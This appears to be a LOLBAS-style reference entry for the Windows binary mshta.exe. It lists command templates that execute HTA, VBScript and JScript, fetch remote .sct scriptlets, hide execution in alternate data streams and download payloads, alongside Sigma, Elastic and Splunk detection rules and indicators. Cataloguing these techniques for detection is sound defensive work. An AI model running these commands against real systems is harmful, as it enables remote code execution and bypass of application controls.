Mshta.exe

Commands

1. ExecuteUser T1218.005

   Execute code

   mshta.exe {PATH:.hta}

   Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: HTAExecute: Remote

2. ExecuteUser T1218.005

   Execute code

   mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

   Executes VBScript supplied as a command line argument.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: VBScript

3. ExecuteUser T1218.005

   Execute code

   mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

   Executes JavaScript supplied as a command line argument.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Execute: JScript

4. ADSUser T1218.005

   Execute code hidden in alternate data stream

   mshta.exe "{PATH_ABSOLUTE}:file.hta"

   Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)

   Execute: HTA

5. DownloadUser T1105

   Downloads payload from remote server

   mshta.exe {REMOTEURL}

   It will download a remote payload and place it in INetCache.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   Download: INetCache

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
• Elastic https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml
• Elastic https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml
• Elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
• Splunk https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml
• Splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml
• Splunk https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml
• Splunk https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml
• Splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml
• BlockRule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOCmshta.exe executing raw or obfuscated script within the command-line
• IOCGeneral usage of HTA file
• IOCmsthta.exe network connection to Internet/WWW resource
• IOCDotNet CLR libraries loaded into mshta.exe
• IOCDotNet CLR Usage Log - mshta.exe.log

Code samples

• https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019

Resources

• https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
• https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
• https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
• https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/